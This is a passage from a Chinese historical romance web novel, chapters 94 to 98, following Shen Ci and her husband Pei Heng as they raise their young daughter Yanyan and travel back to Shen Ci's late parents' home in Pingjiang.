“少夫人您坐,可千万不要站着,仔细头晕。”秋叶扶着沈瓷坐下,沈瓷心说自己倒也没有这般脆弱。 虽然不能沐浴,可沈瓷也心满意足。 从净室出来之后,沈瓷整个人都平和了许多,尤其是她发现床榻上的被褥也全部更换之后。 她的心情就愈发的好了。 “可开心了?”裴珩抱着晏晏走了进来。 沈瓷一怔,缓缓的点点头,“晏晏醒了吗?” “乳母刚刚喂过,这会儿还醒着,要不要抱一抱她?”裴珩将女儿抱给沈瓷。 从孩子出生到现在,沈瓷其实都没怎么抱过她。 最多只是将孩子放在身边看看。 而裴珩已经能够熟练的抱着晏晏哄,每一回,她的心里有一点点的情绪,裴珩都能够很细心的察觉到。 所以,沈瓷并没有什么难受的情绪。 她在裴珩的帮助下顺顺利利的将孩子抱在怀里,晏晏睁大了眼睛看她,沈瓷现在是已经相信孩子长大之后会变得越来越好看。 “晏晏。” 沈瓷轻轻的呼唤着怀里的孩子,晏晏只是睁大了眼睛胡乱的挥舞小手。 她学着裴珩的样子轻轻的拍了拍孩子的背,软软的,小小的孩子被她整个儿抱在怀里。 臂弯里传来了陌生的温度。 沈瓷心中满是安慰和感动,“她比起之前,要好看许多。” 虽然周围的人都告诉她,孩子长大之后会越来越好看,长开就好。 实则珠珠也是如此,比起刚出生那会儿,好看了许多,但沈瓷的心中总会有诸多的担心。 “晏晏若是知道娘亲成日里担心的都是这些,也不知会不会哭。”裴珩就着沈瓷的手,戳了戳她软乎乎的小脸。 可还没有戳两下,就被沈瓷被打了手,“母亲说了,你不能戳她的脸,会流口水的。” 沈瓷的这一举动,让两个人都愣住了。 “我…我不是故意的。”沈瓷的脸不知道怎么就红了,她看着裴珩,眼中有些嗔怪的情绪。 她实在是没想到,裴珩居然会做出这样的事。 裴珩自己也有些奇怪,他轻轻的咳嗽了一声,掩饰自己的尴尬,裴珩没说话,实在不知道要怎么解释索性不去解释。 孩子有些分量,裴珩担心沈瓷撑不住,就从他的怀中接过了孩子,放在了摇篮里。 摇篮里有她熟悉 的味道,孩子也不认生。 她依旧自顾自的挥舞着小手玩闹,沈瓷想起乳母说过,孩子总不能时时刻刻的抱着… 还和她讲过许许多多的规矩。 沈瓷每一次都仔仔细细的听,却不知道要相信那些,也不知道这些话可不可信。 倒是裴世子,只听自己愿意听的。 甚至有些都不听。 尤其是那句孩子不能一直抱着,就让裴世子嗤之以鼻,“这么丁点大的孩子知道什么?” “便是一直抱着,会养成依赖的习惯,家中七八个丫鬟一起照顾着,也不是什么麻烦事。”裴珩并不觉得是自家孩子娇气。 只是孩子和孩子之间也是不同的。 有些孩子依赖人,有些孩子也许会独立些。 但这些都是后话,不过是个吃了睡,睡醒了吃的奶娃娃,说这些实在是太早些。 摇篮里的孩子自己胡乱的挥了挥手,撑不住困意睡了过去。 裴珩见状也要哄沈瓷睡一觉。 即便沈瓷说自己根本不困。 “可我有些困。”裴珩睁着眼睛说瞎话,说的还那么理所当然,许是裴世子平日里太过正直的缘故。 沈瓷压根就没有发现他的谎言。 听他这般说起,就想要将床铺分一半给他。 只不过还没有怎么让,就被裴珩紧紧的抱在怀里,“一起睡。” 沈瓷的心里是不想拒绝的,如若不然,她也不会想着要分一半的床铺,而不是让裴珩去外头睡。 她没办法欺骗自己的心。 只是这个时候,她什么都没有办法说。 裴珩想做的也仅仅是抱着她,“她们都说晏晏长得很像你。” 都说儿肖母,女肖父,但在他们这儿却有一些例外,见过晏晏的都说她长得像沈瓷。 对此,裴珩其实还挺开心的。 女儿自然要像她娘亲才好。 “夫君是,吃醋了吗?”沈瓷打趣的问道。 “都说女大十八变,也许晏晏长大之后,就会和夫君相似的。”沈瓷出言安慰,她对孩子能不能像她这件事,其实并没有太强求。 可裴珩却不想要这样的安慰。 “晏晏像你,我很开心。”裴珩将沈瓷搂在怀里。 比起和自己相似的孩子,他更想要的,是和妻子相似的孩子,“就像是看到了你小时候一般。” “毕竟,我没有办法知道你小时候是什么模样。” 说起这件事,裴珩也觉得很有遗憾,什么都放在心上的时候,曾经并不在意的一些事,就会变成很深很深的遗憾。 例如,他们幼时从未见过面。 也比方,裴珩想起没能送她的及笄礼。 谁让那时候的他,完全没有想到这些。 沈瓷不知道裴珩心中的遗憾,只是听他提及幼时,忍不住有感而发,问他小时候是什么模样。 “夫子和父母,总是常常夸赞。” “隔壁家的孩子。”沈瓷嘟囔的说了一句。 裴珩不置可否,他对谈论自己显然是没有什么兴趣的,只问沈瓷幼时是什么模样。 “我小的时候总是闯祸。”沈瓷其实都不太能记得,“父亲和母亲常常的去别人家里赔罪。” 毕竟在平江,她是属螃蟹的。 “也没有人敢得罪我…父母会知道也是因为,我把人欺负的太狠了些。”沈瓷有些不好意思的说道。 小孩子的恶意总是那么直白,许多人都会因为父亲的缘故让着她。 但她不懂,就渐渐的变得无法无天。 “我小的时候会挨打。” 父亲并没有因为她是独女的缘故而对她有所放纵,母亲有了她之后,一直都不曾生育第二个孩子。 求医问药也试过,但父亲觉得太折腾,让母亲不要将这些事放在心上。 “爱之深,责之切。”裴珩将人往怀里紧了紧,“他不希望你仗势欺人。” 娇纵任性可以。 只是…为人处世的原则和底线不能丢。 说起这件事,裴珩便看向沈瓷,问她若自己日后这般教育晏晏,她可会拦着? “晏晏才二十天…” 沈瓷怔怔的说道,而且…为何话题会这般的跳跃? 怎么就从她衍生到了晏晏? “毕竟,我们谁也预料不到日后会如何。”裴珩的下巴碰到了沈瓷的耳朵,温温热热的 沈瓷转了头,软软的靠在他的怀中。 “那要看夫君讲不讲理。”沈瓷没有一味的顺从,不会委屈夫君,也不会委屈孩子。 “若是晏晏的错,那我就支持你。” “若是夫君的错,那我定然是站在女儿这一边的。”沈瓷很有原则的说道。 “夫人当真是很有原则的一个人。”裴珩忍不住的笑。 沈瓷原本觉得自己不困。 可在裴珩的怀里,她却没有一丁点儿清明,没说几句话就困得不得了。 没一会儿裴珩就感受到温热的呼吸声,他不禁有些想笑,点了点她的鼻子,“不是说不困的吗?” 怎么这会儿就睡着了? 第95章 第95章没有刻意,只凭心意 晏晏一百天的时候,她的名字终于确定下,裴世子仿佛要和夫人比试一番,谁取的名字更难写似得。 给女儿取名翎昭。 和元曦也并没有什么差别,都是难写的不行。 裴世子将两个名字放在一起比较,很自信的告诉沈瓷,还是晏晏的名字好写一点。 沈瓷:“……” 沈少夫人不太想说话。 沈瓷出了月子之后,永宁侯夫人便有意想要将掌家权交到她的手中,实在是掌家不如养孩子有趣。 因为舅母的缘故,沈瓷其实明白有些人当真是喜欢养孩子的。 但婆婆喜欢是一回事,沈瓷也不能真的就当起甩手掌柜来,孩子跟他们一块儿住,只是白日里会带着孩子去正院。 永宁侯夫人总是将账本扔给儿媳妇,而自己就抱着孩子到处玩耍。 晏晏就这么悄无声息的渐渐长大。 在她一周岁的时候学会了自己走路,每日最大的乐趣就是摇摇晃晃的去找祖母和姑姑。 偶尔也会跟母亲一道出门。 去找比自己大一些的姐姐。 两个奶娃娃坐在一处,瞧着就分外有趣。 珠珠会说话的时候,晏晏还只会咿咿呀呀,那时候她们尚觉察不出什么问题来。 等到她渐渐的会说话,珠珠已经能够很流利的说话。 晏晏跟不上,一着急就容易哭,最开始她们还能哄一哄,以为孩子大一些就会好。 偏偏她一直不曾有所改善。 裴珩见不惯,便抱着两岁的孩子讲道理。 将孩子直接给讲哭了,沈瓷知晓裴珩的打算并没有去干涉,可永宁侯夫人忍不住,派人来问了好几回。 通通都被沈瓷给拦下。 晏晏虽然年纪还小,却也已经知道什么人能够帮她,什么人不能帮她。 听见是祖母要过来,还没来得及高兴,就被爹爹给拦下。 她刚瘪嘴要哭,就听见裴珩慢悠悠道,“今日,可不会有人来哄你。” 晏晏要哭不哭的,眼泪还挂在眼角上,裴珩分明已经看见,但没有要抱她的意思。 “你已经两岁了,怎么连话都不能好好的说?”裴珩并未生气,只是语气温和的问她。 晏晏看到裴珩这般温和,胆子又大了许多,想要走过去让爹爹抱抱她,可裴珩却并没有去抱她。 “站着。” 晏晏长这么大,还是头一回被爹爹这般对待,委委屈屈的又要哭。 裴珩也不惯着她,任由她哭。 晏晏一开始,还哭的比较厉害,可后来发现无论她怎么哭,父亲都没有说话之后。 她就明白过来,是没有用的。 她唯有抹了抹眼泪,期期艾艾的走到裴珩面前,“爹爹。” “今日做什么要哭?” 晏晏提起这件事的时候,又忍不住的想哭,但看着裴珩的模样,又努力的忍住了。 “姐姐…姐姐。” 她很委屈,也很不明白。 实则珠珠不过比她大半 岁而已,便是说话比她利索一些,也没有特别的利索。 “你可以慢慢的说话,并不需要着急。”裴珩语气温和,一点点的安慰晏晏。 她并不相信,又开始哭泣起来。 裴珩虽然也有些头疼,但他并没有露出不耐烦的神色,只是让她自己哭个明白。 “爹爹等你。” 晏晏眼巴巴的看向裴珩,见爹爹当真没有要来哄她的意思,便止住了眼泪。 而后裴珩命人打水,亲自给她洗了脸。 “想好怎么说了吗?” 她不开口,裴珩也不催促,只是在她着急的时候告诉她可以慢慢说。 晏晏最开始是不愿意的。 可在父亲的鼓励下,总算是愿意开口。 “姐姐不听,不听我,说话。” 她这话说的断断续续的,实则按照她这个年级,这已经是很了不起的一件事,每个孩子的情况也并不一样。 可珠珠比她大一些,她非要和珠珠一样… “所以你就哭了?” 眼前的孩子点了点头,她说不清楚,就哭泣。 一哭,就会有很多人来哄她,把她们两个分开,即便沈瓷不想承认,她也明白这并不是什么很好的行为。 “既然想和珠珠姐姐一样,那你就好好的学着怎么说话。”裴珩抹了抹她大的头发,也不确定晏晏能不能听明白。 可他以己度人,想着孩子应该也是能听得懂。 她的眼角红彤彤的,也不知有没有想明白,但总算没有继续嚎啕大哭。 将事情说清楚之后,裴珩便抱着孩子看书,也不管她到底能不能看得懂。 哭了许久的孩子终于累了,在裴珩的怀里睡得香甜。 裴珩看着怀里的孩子,轻轻的默了默她的脸。 “睡着了?”沈瓷推开门走了进来,望向裴珩怀里的孩子。 裴珩点了点头,沈瓷想从他怀里把孩子接过去,但裴珩却没答应,“一会儿要哭的。” “这么抱着也不是个事,天这般热,还是把她放下吧。” 裴珩点了点头,二人走向内室,将孩子放在了软榻上,搭上了小被子。 “你们俩方才说了什么?我怎么听见她一直在哭?”沈瓷的心中有些担心,只是她和裴珩之间是有默契的。 她知道裴珩这么做,肯定是有自己的理由。 而晏晏,也确实不能一着急就嚎啕大哭。 “她不愿意好好的说话,我只是在告诉她要怎样好好的说话。”这话有一些绕。 “嗯,那你们两个说好了没有?”沈瓷轻声问道。 裴世子沉默了一会儿,说他不确定晏晏有没有听明白,只是他白日里没法常常见到女儿,唯有让沈瓷多费心些。 “夫君这说的是什么话?晏晏也是我的孩子。” 夫妻俩一同看向床榻上的小姑娘,睡着的孩子软乎乎的,只是眼尾还有些红彤彤的。 处理完孩子的事情之后,沈瓷就和裴珩说起别的事情来。 府中庶务,虽然由沈瓷来处理,但裴珩也并非一窍不通,有时候月初忙碌,裴珩还要帮着一起打算盘。 这些都已经成为了习惯,今日沈瓷没有抱着一摞账本过来,裴珩还有些不太习惯,打趣道,“夫人今日不用我帮忙算账了吗?” “还没有到时候。”沈瓷随意的敷衍了两句,和裴珩说起迎来送往之事,“上个月,承宁伯府送过来帖子,承宁伯世子回京了,还有楚秋灵也归来。” “这帖子送来府上有几日了,我一直都没有回应。” “嗯?”裴珩有些好奇的看向沈瓷,一时间不太明白沈瓷的话,她好端端的怎么提及这件事? “若是不想去,倒也不必勉强…” “因为是承宁伯府的邀约,也是和承宁伯世子有千丝万缕的关系,所以为了两府之间的关系,我便应下了。”沈瓷轻轻的咳嗽了一声,掩饰自己的尴尬。 “替夫君你应下了。” 裴珩:“……” 原是在这里等着他的? 她自己不想去,就把他给推了出去? “是何时应下的?”裴珩有些无奈的问道,“是接了帖子的第几日?” 沈瓷默默的比了三个指头。 “那日我要去探望表姐,表姐有了第二个孩子,我要去看一看她。”沈瓷这话说的有些气弱。 表姐这一次怀孕并没有害喜的症状。 每日能吃能喝能睡的。 二人时常相约,并不在于这一日。 裴珩淡淡的瞥了她一眼,一切尽在不言中。 沈瓷拉着裴珩的衣袖,缓缓的晃了晃,“夫君…这…你可是侯府世子。” 为了侯府牺牲一些,也没有太大的关系。 沈瓷明明什么都没说,但裴珩就是知晓她的心思。 他淡淡的别开眼,只当自己什么都看不见。 “夫君…就当,就当是去上早朝。” 裴珩原本是没有太多的反应,可因为沈瓷这般比喻,他的眼中就浮现出了拒绝的神色。 什么叫做就当是去上朝? 上朝还能有什么好脸色? “但,去宴会总比上朝要容易些,至少去宴会不用早起呢。”沈瓷一直在找去参加宴会的好处。 惹得裴珩哭笑不得,“多谢夫人为我着想。” 沈瓷心满意足的点了点头,“辛苦夫君。” “那日的礼我已经备好,到时候送过去就好。”沈瓷虽然不待见楚秋灵,可有这么一层亲戚关系在。 想要彻底的隔绝也不太可能。 何况也不能和承宁伯府交恶。 她若不去,裴珩去也是一样的。 谁让裴珩并不会反对呢? 即便他原本是不想答应的,可每当沈瓷软软的喊上两句夫君,他就丢盔卸甲。 十有八九都是会应下的。 “我若是去了,夫人要给我什么奖励?”裴珩好奇的问道。 “夫君想要什么,只要我有。”沈瓷答应的干干脆脆。 裴世子轻笑,“沈少夫人大方。” 沈瓷骄傲的抬起了头,“那是自然。” 他上前一步,将妻子抱在怀里,“半月之后,我要去扬州一趟,夫人可要与我同行?” 沈瓷睁大了眼睛,“好端端的为何要去扬州?” “有一些政务要处理。”裴珩随口解释,至于是什么政务,他也没有隐瞒。 如实的告知了。 沈瓷揉了揉自己的额头,说要好好的想一想。 裴珩也没有逼迫,只是他想知道,如今几年过去,再经过平江的时候,她还会不会再逃避那片土地。 第96章 第96章故地重游 扬州对于沈瓷而言,算是一个很特殊的地方,若非因为去了扬州,她和裴珩的关系,应当不会有什么特别发展。 沈少夫人并不知道这是她一厢情愿的认知。 就算不去扬州,裴珩也有千百种办法来达成自己的目的。 沈瓷说,她要想一想,要不要去扬州。 裴珩去承宁伯府赴宴的时候,沈瓷去了将军府,楚映梦这个时候才刚刚醒来。 虽然已经不孕吐,可嗜睡的情况还是很严重。 “表姐最近又开始犯困了吗?” 楚映梦点了点头,“按理说,都到了这个月份,也不至于会犯困,但许是每个孩子都不同。” 她能吃能睡,孩子也乖巧,楚映梦倒没有太在意,何况第二次生产,和第一次相比也有了许多经验。 她就连害怕的情绪都不怎么有。 只是有所期待,想知道孩子是什么模样。 “我听说承宁伯府送了帖子,你没有去吗?”楚映梦好奇追问,这帖子也送到了她这里,只是楚映梦有许多理由可以拒绝。 “夫君去了。” 沈瓷随意的回答,倒是楚映梦很好奇,“表哥怎么会答应的?” 印象中表哥可是不会管这些的。 沈瓷想到昨日裴珩的模样,就忍不住的笑出声来,“自然是因为夫君学会了承担世子的责任。” 这话一听就是随口扯的,楚映梦也明白,大概是因为沈瓷的缘故。 “表哥和你成亲之后,倒是愈发的好说话。”楚映梦笑着打趣,问沈瓷可 有想过什么时候给晏晏添一个弟弟妹妹。 这事儿说来也挺奇怪的,毕竟沈瓷当初成亲没多久便怀上晏晏,结果在晏晏出生之后,一直都没有动静。 这会儿楚映梦的二胎都快要生了。 “这事儿,不得顺其自然?”沈瓷心里自然也是有些着急的,但这事儿的确着急不来。 裴珩更是提都没提过。 “说的也是,这事儿真的也不能着急。”楚映梦说要去院子里逛逛,沈瓷便搀扶着她往外走。 “我瞧你今日怎么有些不太开心?可是发生什么事了?”楚映梦好奇问道。 沈瓷的情绪变化很明显,她成亲之后甚少有这般忧虑的时候。 “夫君半月之后要去扬州,他询问我是否愿意同行。”沈瓷对此很是忧虑。 “表哥这回要去多久?你若无事也可一块儿去看看。”楚映梦想起昔年的扬州之旅,想到了另一件事,很高兴的说道,“正好你也能去平江看一看,之前不是没有去成。” 沈瓷有点儿心虚,也有些尴尬,可对着表姐也说不出太违心的话,她拉着楚映梦的袖子,小声的将当年的荒唐事全部说了出来。 “你说什么?!”楚映梦的声音立刻提高了好几度,惹得跟在不远处的丫鬟婆子都提心吊胆起来。 一个两个面面相觑,犹豫着要不要上前。 “表姐,你小声一些…” 沈瓷不开口也就罢了,她一开口,楚映梦心中就愈发生气,忍不住的用手指戳了戳她的脑袋,“你说说你,你这做的都是什么事?” “有什么话是不能对我们说的?” “姐姐…”沈瓷有些期期艾艾的,但楚映梦一点也没手软,用力的戳着她的脑袋,直到沈瓷额头上多出了几道红痕才停下来。 沈瓷委委屈屈的看向她,“姐姐…” “怎么了?戳疼你了?”楚映梦有些嫌弃的看向她,明明方才戳的时候没意识到,这会儿瞧见又有些心疼,“过来我瞧瞧。” 沈瓷慢慢的走过去,楚映梦伸出手揉了揉,“长记性了没?” 面前的人不说话,她也没管,气恼过后又满是心疼,“是我不好,没注意到。” 沈瓷原本就愧疚,听见这话就愈发的愧疚,连连摇头,“姐姐不要这么说,是我不好,先前没有明说。” 如今再追忆从前的行为,并不是什么很理智的行为,甚至也许都理解不了当初的自己为何要这么做。 但沈瓷依旧因为表姐的这些话而心怀愧疚。 “我当时…我当时也不知为何会这般。” 沈瓷越是这般说,楚映梦就越难受,她伸出手想要将沈瓷搂住,但这个动作却做的有一些艰难,“这有什么好在意的?你如今去想过去的事情,原本就不能理解。” 楚映梦难受的还是沈瓷当初没有对她敞开心扉。 “我不是不相信姐姐,我只是不愿意让姐姐担心。”沈瓷明明知道有些话会越说越错,但她这会儿当真不想有什么隐瞒。 就算表姐会不开心,她也不愿意隐瞒。 “你啊—”楚映梦一边生气一边又心疼,她使劲的戳了戳沈瓷的脑袋,又担心把人给戳疼了,兀自开始生气。 沈瓷连连出声哄她,就担心姐姐气出问题来。 “那如今呢?可是愿意去了?”楚映梦认真问道。 她看着沈瓷,想知道沈瓷心中的想法,按照她对表妹的了解,既然能将这些全部都说出来,应当是不介意这些了。 “嗯。”沈瓷看着楚映梦,认真的点了点头,“我想去平江看一看,我想带夫君去见一见爹娘,” 也让爹娘看一看,她嫁的夫婿如何。 “那要带晏晏一起去吗?” “要带上的。” “我舍不得离开晏晏那么久。”沈瓷只要一想到要许久见不到孩子,心里就想念的慌,何况裴珩也舍不得。 “既然已经决定,那就去一趟。”楚映梦的脾气来的快去的也很快,这会子已经开始心疼沈瓷。 等到裴珩从承宁伯府来将军府接妻子的时候,就看见表妹急匆匆的跑过来,认真的对他交代,“表哥,你可千万不要做欺负阿瓷的事。” 裴珩疑惑的看了过去,透过表妹的肩膀,看见了她身后的妻子,用眼神询问她发生了什么事。 沈瓷没说话,对着裴珩小幅度的摇摇头。 楚映梦见裴珩不开口有些着急道,“表哥,我在和你说话。” “好端端的怎么说起这些?若有事要和我说,我等你便是,做什么还走的那么快。”裴珩皱了皱眉头,有些不赞同的开口。 楚映梦摸了摸自己的肚子,有些心虚,“我没事,我就是送一送阿瓷。” 裴珩当然不会做什么欺负沈瓷的事,但这些话他也不会在表妹的面前保证什么,“回去歇着,莫要乱跑,慢慢的走回去。” “好…”楚映梦的硬气大概只存在一刻钟,听见裴珩的话期期艾艾的应下。 “我带阿瓷先回去。”裴珩交代完之后,就让楚映梦身边的侍女搀扶她回去,等到看不见她的身影,裴珩才带着沈瓷往回走。 “今日你和她说了什么?她怎么忽然说起这些?” “我和表姐说要同你一起去扬州一趟,表姐担心你在路上欺负我。”沈瓷笑着开口。 “已经决定好了吗?”裴珩捏了捏她的手心,轻轻的摩挲着,“今日回府我便同父母禀明这件事。” “这么快?”沈瓷有些诧异的看过去,“不是还早吗?” “不早了。”裴珩同她认真的解释,“还要收拾不少的东西,母亲不会放心我们两个将晏晏带走,可若一定要带走…要准备的就多了。” 裴珩说的话一点儿也没错,公公和婆婆两个全然不同意他们将晏晏带走,劝了许久,裴珩只说要带晏晏去看看外祖父和外祖母。 此话一出永宁侯夫妇两个便什么反对的话都说不出口。 “既如此,那就带上晏晏,但一定要带上嬷嬷们…”永宁侯夫人无法拒绝这些事,便尽可能的想要孙女可以舒坦一些,便风风火火的去准备行礼。 永宁侯夫人忙碌了好几日,待到出发的时候,丫鬟仆妇一共有十几二十人,更别提那十几口大箱子。 沈瓷摁了摁自己的额头,“我们应该不去很久吧?” 裴珩轻轻笑起,“就当全了祖母的一片心意。” 他牵着沈瓷的手往甲板上走,晏晏头一回出远门高兴的不得了,在甲板上跑来跑去,压根不愿意停下。 起初他们俩还能一起看着孩子,但船开出没多久,沈瓷就受不住开始晕眩,她按着额头,说要去歇一歇。 裴珩记挂着沈瓷,便让长鸣和秋叶守着孩子,陪她去了船舱。 摇摇晃晃的水路让沈瓷很是难受,裴珩吩咐船家将船开的慢一些,更是打算将船上的大夫请过来。 “我就是有些难受,下了船就会好,别让大夫过来,他只会给我开安神茶。”沈瓷虽然脸色有些白,可精神尚可,“我不想晕乎乎的又昏昏沉沉的睡过去。” 其实她的眼中还有着隐隐的期待,但也夹杂着一些忧虑。 也许是近乡情怯,也许是不知怎么面对。 情绪复杂而多变,裴珩将这一切都看在眼中,却什么都没有劝她。 “若实在难受,就让大夫来瞧一瞧。” 二人在这件事上达成了共识,沈瓷闭着眼睛假寐,裴珩在一旁陪着她,听她时不时的开口说话。 裴珩明白,她的心中是期待的。 同样的,他的心里也是期待。 第97章 第97章爹娘,我带夫君来见你们。…… 沈瓷因为晕船的原因昏睡,其实裴珩见到她这般状况很担心晏晏,谁知晏晏半点都没有晕船的迹象。 一直在甲板上疯玩。 直到累了被长鸣给抱了回来。 晏晏睡得极其安稳,小脸红扑扑的,和沈瓷形成了很鲜明的对比。 裴珩没将晏晏留在身边,担心她一会儿醒来看见沈瓷这般模样会被吓到。 从金陵到平江并不愿,即便船夫 已经控制了速度,但他们还是在第三天的时候到了,沈瓷并未说假话,从船上下去之后,她晕船的症状就明显改善了许多。 沈瓷已经有许多年没有回来过,这个地方和她记忆当中多少有了一些区别。 码头上人来人往的,裴珩就将晏晏抱在怀里,省得她到处乱跑找不见人。 “夫人,我们今晚住在何处?”裴珩看着沈瓷问道。 “夫君没有提前定下客栈吗?”沈瓷有些疑惑的问道,她原本还以为裴珩已经将一切都给处理好。 “我在这里人生地不熟的,如何能够提前定下?”裴珩说的有理有据的,“何况这船也才刚刚停下,我便是有心想要做什么,也没有那么快。” 裴珩强调着人生地不熟,目的是什么很好理解。 他想要沈瓷亲自为他介绍。 为他介绍这个,她从小生长的地方。 “那…就去老宅看看吧。”沈瓷冷静的开口,和裴珩解释其中的原委,沈毅是平江节度使,也有赏赐的宅子。 他们一家就居住在此处。 里头的一花一草,都是阿娘精心布置的,有他们一家三口最珍贵的回忆。 “爹爹和阿娘去世之后,那宅子也空了下来,我离开平江的时候,是舅舅雇了人,每年都会来打理那座宅子。”沈瓷说起这些的时候,对舅舅很是感激。 她当初万念俱灰,什么都顾不得,也什么都顾不上,甚至都想过自己这辈子都不会来平江。 可舅舅却还替她想着这些。 “平江的产业已经悉数卖掉,折换成了现银,但是这宅子搬不走,舅舅说希望我经过深思熟虑之后,在考虑要怎么处理这座宅子。” 楚恒不希望沈瓷会后悔。 照他们的家业,多一处宅子和少一处宅子并没有什么区别。 何必那么着急? “舅舅有派人修缮维护,但我已经许多年没有去过,我也不知道现在是什么模样。”沈瓷的心中也隐隐的有些期待。 裴珩原本就感激姑父,如今更甚。 沈宅坐落在平江最繁华最热闹的地方,这宅子漂亮大气,且位置很好,许多人都有想要出资购买的心思。 只是去官府一问,知晓这宅子是谁的之后,也都歇了心思。 宅子的钥匙沈瓷手上也有,她看着那落锁的大门,一时间有些害怕,迟迟不敢上前。 她看着裴珩,眼中露出了哀求之色,“夫君…” 她不知道自己在哀求什么,她甚至都不清楚这钥匙到底还能不能打开这扇门。 “嗯。”裴珩抱着晏晏站在她的身边,他什么都没有说,甚至都没有催促,只是安静的,陪着她。 那双眼睛里满是坚定的情绪,沈瓷看着看着,目光也渐渐的坚定了起来。 钥匙顺利的进入锁孔,顺利的打开了锁。 大门被推开,里头和记忆中的别无二致。 一草一木,一砖一瓦,皆是昔日的模样。 仿佛和从前没有什么区别… 宅子很大也很漂亮,院子中央还有个大秋千,那秋千很大很大,可躺也可坐。晏晏瞧见之后眼睛都亮了起来。 但她很有分寸,到了一个陌生的地方,她还记得爹娘教过的那些话,她轻轻的扯了扯裴珩的衣领,“爹爹,那个可以玩吗?” 裴珩还没有说话,沈瓷就走了过来,自然的从裴珩怀里接过孩子,“当然可以。” “阿娘带你去。”沈瓷抱着晏晏,一步一步的走向那个熟悉的秋千。 上头没有什么风化的痕迹,沈瓷抚摸着那熟悉的痕迹,心中情绪翻涌,她将晏晏放在了上头,缓缓的,摇晃起秋千来。 “这是外祖父亲手做的。”沈瓷和女儿解释着这秋千的由来,她坐在晏晏的身边,又招呼着裴珩一起坐下。 裴珩虽有些不习惯,却还是顺着沈瓷的意思坐下,他坐下之后,沈瓷就自然而然的靠了过来,晏晏就坐在她的身边。 沈瓷抬眸,看向了天空。 昔年爹娘陪她一起荡秋千的时候,沈瓷也会这般的看向天空,只是树木太过茂密,她只能看见密密麻麻的叶子。 阳光从叶子的间隙落下,尽数的洒在她的脸上。 那时候爹娘在一边说话,她安安静静的听着,不知什么时候就睡着了,最后爹爹把她抱回房间。 “爹爹和阿娘以前,经常会陪我一起荡秋千。”沈瓷轻声说道,她指了指秋千前头的那块空地。 “有时候,爹爹会陪我玩,阿娘就会坐在这里看着我们。” “也有些时候,阿爹会在院子里看公文,我和阿娘就会很默契的安静一些,不去吵到他…” 有一些沈瓷以为自己已经不记得的事情,却都清清楚楚的记得。 “我们,一直都在一起。”沈瓷的声音有些低,也有些失落。 她告诉裴珩,她从未想过爹爹和阿娘会离开她,还是那么早离开她。 “我和晏晏会陪着你。”裴珩知道自己无论说什么,都不能弥补沈瓷心中的伤痛,但他却从不吝啬自己对沈瓷的爱意。 他会一直告诉她,他陪着她。 “我带你去后院看一看。”沈瓷问晏晏要不要一起去,但晏晏这会儿满心满眼都是这个漂亮的秋千,半点都不愿意走。 秋叶陪着晏晏,而冬竹早已经带着丫鬟婆子们去安置。 虽已经许久没有回来,但府上的情况如何,没有人比她们更加清楚。 沈瓷的院子就在正院边上,里头布置的非常漂亮,院子里种了不少的梨花树,此时正是梨花盛开的季节。 小径上飘满了花瓣。 “这些是阿娘让人种的。” 这里只有一棵树是沈瓷种的,“那是我们出去玩的时候捡来的,我不知是什么,非要带回来,爹爹和阿娘也不会阻止我,便陪着我将这棵树种下…” 后来树苗渐渐的长大,爹爹认出来是一棵梨花树,沈瓷觉得一棵树太孤单,爹娘就种下了许多的梨花树。 渐渐的就形成了这般模样。 沈瓷每看一眼,都觉得心中的情绪难以抑制。 她牵着裴珩的手,一步一步的,走向曾经的屋子。 往事一幕一幕的在眼前浮现,她脑海中的那些记忆,也全部都一点点的想起,屋子里的陈设和她离开的时候一样。 裴珩仔仔细细的看着,仿佛要将那些错过的曾经全部都记在脑中。 “冬竹一会儿会带人过来收拾,夫人不若带我去别处走一走?”裴珩迫切的想要了解沈瓷的过去,同样的也不想她一直沉浸在那些难受的情绪当中。 沈瓷点了点头,带着裴珩在整个府邸逛了逛。 最后去了正院,这里如今供奉着沈毅夫妻俩的牌位,金陵也有夫妻俩的长明灯。 沈瓷点燃了香,“爹爹,娘亲,女儿回来了。” “对不起,这么久都不敢回来看你们。”她一边说着话,一边任由眼泪掉下来,裴珩就站在不远处。 沈瓷向爹娘介绍着自己的丈夫。 告诉他们自己成亲了,还有了一个很可爱的孩子,“是个小姑娘,舅舅和舅母说,孩子长得和我很像,您二位见着她,一定会很喜欢她的。” 对于这一 点,沈瓷非常的自信。 她诉说着晏晏有多么的可爱,裴珩就会在一旁补充几句,沈瓷在这里待了许久,到后来裴珩都找借口先行一步。 给了他们单独相处的时候。 他知道沈瓷一定有很多很多的话想要和父母说。 沈瓷站的累了,便坐在了蒲团之上。 她知道,爹娘并不会介意,而此时此刻,沈瓷也不想去守这些规矩。 “爹爹,阿娘,他对我很好,和他在一起的时候我很开心。”沈瓷说起这些的时候,脸上满是幸福和安慰的笑容。 她告诉母亲,明白了她当初说过的话。 “阿娘…我当时很难受你们丢下我,可如今却已经渐渐释怀,好在你们可以相互作伴,不会孤单。”沈瓷抱着膝盖,眼泪一滴一滴的落下来。 她擦了擦眼泪。 将这些年发生的事情全部都告诉了爹娘。 就和从前一样,会说一说最近的情况。 从外祖父到外祖母,从二舅舅到二舅母,还有表哥和表姐表妹,每一个人都被沈瓷记在心中。 她告诉爹娘,有很多很多的人,都对她很好很好。 “你们不用担心我。”沈瓷默默的擦掉自己的眼泪。 “我好想你们。” 这些年,沈瓷从来都不敢想起平江,她没有办法接受这些,可时间久了,再不能接受的事情也已经可以接受。 沈瓷很感激舅舅,若非舅舅替她将这座宅子护下。 她怕是连一点念想都没了。 时至今日再回到平江,留给她的大概就全部都是遗憾。 她当真,是个很幸运的人。 第98章 第98章一个又一个的熟人出现 在沈瓷对着沈毅夫妇的牌位说话的时候,裴珩就带着晏晏四处的逛了逛。 一开始晏晏还觉得很新鲜,非要自己走。 但沈府很大,没一会儿晏晏就有些累了,靠在裴珩的大腿上,“爹爹,这里是什么地方?” “怎么那么大,走的好累。” “这里是你阿娘,从小长大的地方。” 永宁侯府其实也不小,只是裴珩从没有什么闲情逸致带着女儿一寸寸的走过去。 而晏晏也不会有这样的心思。 如今会有这样的举动,纯粹是因为这里是沈瓷自幼长大的地方,所以他才会想去了解。 “阿娘小时候长大的地方?”晏晏奶声奶气的重复着裴珩的话,很不能理解这是什么意思。 “你阿娘小的时候住在这里。”裴珩耐心解释。 而晏晏愈发不理解,但问出来的话从来都简单直白,“那阿娘之后就不住在这里了吗?” “为什么呀?” 裴珩很难和晏晏解释什么是生死,即便他能够解释的清楚,晏晏也不一定可以听明白。 何况听明白了,也是一件很让人伤心的事。 